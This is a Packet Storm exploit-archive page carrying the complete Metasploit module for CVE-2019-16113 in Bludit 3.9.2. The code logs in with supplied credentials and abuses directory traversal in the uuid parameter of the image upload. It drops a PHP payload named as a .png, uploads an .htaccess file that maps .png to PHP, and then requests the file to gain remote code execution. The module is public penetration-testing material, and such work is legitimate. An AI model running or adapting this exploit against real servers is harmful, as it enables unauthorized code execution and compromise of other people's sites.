exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Bludit Directory Traversal Image File Upload

Bludit Directory Traversal Image File Upload
Posted Nov 12, 2019
Authored by sinn3r, christasa | Site metasploit.com

This Metasploit module exploits a vulnerability in Bludit. A remote user could abuse the uuid parameter in the image upload feature in order to save a malicious payload anywhere onto the server, and then use a custom .htaccess file to bypass the file extension check to finally get remote code execution.

tags | exploit, remote, code execution
advisories | CVE-2019-16113
SHA-256 | 446227cfe4396e17a646d44fe472ff2d78be469000650a8277e08728e69d08a8

Bludit Directory Traversal Image File Upload

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE
include Msf::Exploit::FileDropper
include Msf::Auxiliary::Report

def initialize(info={})
super(update_info(info,
'Name' => "Bludit Directory Traversal Image File Upload Vulnerability",
'Description' => %q{
This module exploits a vulnerability in Bludit. A remote user could abuse the uuid
parameter in the image upload feature in order to save a malicious payload anywhere
onto the server, and then use a custom .htaccess file to bypass the file extension
check to finally get remote code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'christasa', # Original discovery
'sinn3r' # Metasploit module
],
'References' =>
[
['CVE', '2019-16113'],
['URL', 'https://github.com/bludit/bludit/issues/1081'],
['URL', 'https://github.com/bludit/bludit/commit/a9640ff6b5f2c0fa770ad7758daf24fec6fbf3f5#diff-6f5ea518e6fc98fb4c16830bbf9f5dac' ]
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Notes' =>
{
'SideEffects' => [ IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ]
},
'Targets' =>
[
[ 'Bludit v3.9.2', {} ]
],
'Privileged' => false,
'DisclosureDate' => "2019-09-07",
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The base path for Bludit', '/']),
OptString.new('BLUDITUSER', [true, 'The username for Bludit']),
OptString.new('BLUDITPASS', [true, 'The password for Bludit'])
])
end

class PhpPayload
attr_reader :payload
attr_reader :name

def initialize(p)
@payload = p
@name = "#{Rex::Text.rand_text_alpha(10)}.png"
end
end

class LoginBadge
attr_reader :username
attr_reader :password
attr_accessor :csrf_token
attr_accessor :bludit_key

def initialize(user, pass, token, key)
@username = user
@password = pass
@csrf_token = token
@bludit_key = key
end
end

def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php')
})

unless res
vprint_error('Connection timed out')
return CheckCode::Unknown
end

html = res.get_html_document
generator_tag = html.at('meta[@name="generator"]')
unless generator_tag
vprint_error('No generator metadata tag found in HTML')
return CheckCode::Safe
end

content_attr = generator_tag.attributes['content']
unless content_attr
vprint_error("No content attribute found in metadata tag")
return CheckCode::Safe
end

if content_attr.value == 'Bludit'
return CheckCode::Detected
end

CheckCode::Safe
end

def get_uuid(login_badge)
print_status('Retrieving UUID...')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', 'new-content', 'index.php'),
'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};"
})

unless res
fail_with(Failure::Unknown, 'Connection timed out')
end

html = res.get_html_document
uuid_element = html.at('input[@name="uuid"]')
unless uuid_element
fail_with(Failure::Unknown, 'No UUID found in admin/new-content/')
end

uuid_val = uuid_element.attributes['value']
unless uuid_val && uuid_val.respond_to?(:value)
fail_with(Failure::Unknown, 'No UUID value')
end

uuid_val.value
end

def upload_file(login_badge, uuid, content, fname)
print_status("Uploading #{fname}...")

data = Rex::MIME::Message.new
data.add_part(content, 'image/png', nil, "form-data; name=\"images[]\"; filename=\"#{fname}\"")
data.add_part(uuid, nil, nil, 'form-data; name="uuid"')
data.add_part(login_badge.csrf_token, nil, nil, 'form-data; name="tokenCSRF"')

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'ajax', 'upload-images'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};",
'headers' => {'X-Requested-With' => 'XMLHttpRequest'},
'data' => data.to_s
})

unless res
fail_with(Failure::Unknown, 'Connection timed out')
end
end

def upload_php_payload_and_exec(login_badge)
# From: /var/www/html/bludit/bl-content/uploads/pages/5821e70ef1a8309cb835ccc9cec0fb35/
# To: /var/www/html/bludit/bl-content/tmp
uuid = get_uuid(login_badge)
php_payload = get_php_payload
upload_file(login_badge, '../../tmp', php_payload.payload, php_payload.name)

# On the vuln app, this line occurs first:
# Filesystem::mv($_FILES['images']['tmp_name'][$uuid], PATH_TMP.$filename);
# Even though there is a file extension check, it won't really stop us
# from uploading the .htaccess file.
htaccess = <<~HTA
RewriteEngine off
AddType application/x-httpd-php .png
HTA
upload_file(login_badge, uuid, htaccess, ".htaccess")
register_file_for_cleanup('.htaccess')

print_status("Executing #{php_payload.name}...")
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'bl-content', 'tmp', php_payload.name)
})
end

def get_php_payload
@php_payload ||= PhpPayload.new(get_write_exec_payload(unlink_self: true))
end

def get_login_badge(res)
cookies = res.get_cookies
bludit_key = cookies.scan(/BLUDIT\-KEY=(.+);/i).flatten.first || ''

html = res.get_html_document
csrf_element = html.at('input[@name="tokenCSRF"]')
unless csrf_element
fail_with(Failure::Unknown, 'No tokenCSRF found')
end

csrf_val = csrf_element.attributes['value']
unless csrf_val && csrf_val.respond_to?(:value)
fail_with(Failure::Unknown, 'No tokenCSRF value')
end

LoginBadge.new(datastore['BLUDITUSER'], datastore['BLUDITPASS'], csrf_val.value, bludit_key)
end

def do_login
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php')
})

unless res
fail_with(Failure::Unknown, 'Connection timed out')
end

login_badge = get_login_badge(res)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};",
'vars_post' =>
{
'tokenCSRF' => login_badge.csrf_token,
'username' => login_badge.username,
'password' => login_badge.password
}
})

unless res
fail_with(Failure::Unknown, 'Connection timed out')
end

# A new csrf value is generated, need to update this for the upload
if res.headers['Location'].to_s.include?('/admin/dashboard')
store_valid_credential(user: login_badge.username, private: login_badge.password)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', 'dashboard', 'index.php'),
'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};",
})

unless res
fail_with(Failure::Unknown, 'Connection timed out')
end

new_csrf = res.body.scan(/var tokenCSRF = "(.+)";/).flatten.first
login_badge.csrf_token = new_csrf if new_csrf
return login_badge
end

fail_with(Failure::NoAccess, 'Authentication failed')
end

def exploit
login_badge = do_login
print_good("Logged in as: #{login_badge.username}")
upload_php_payload_and_exec(login_badge)
end
end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close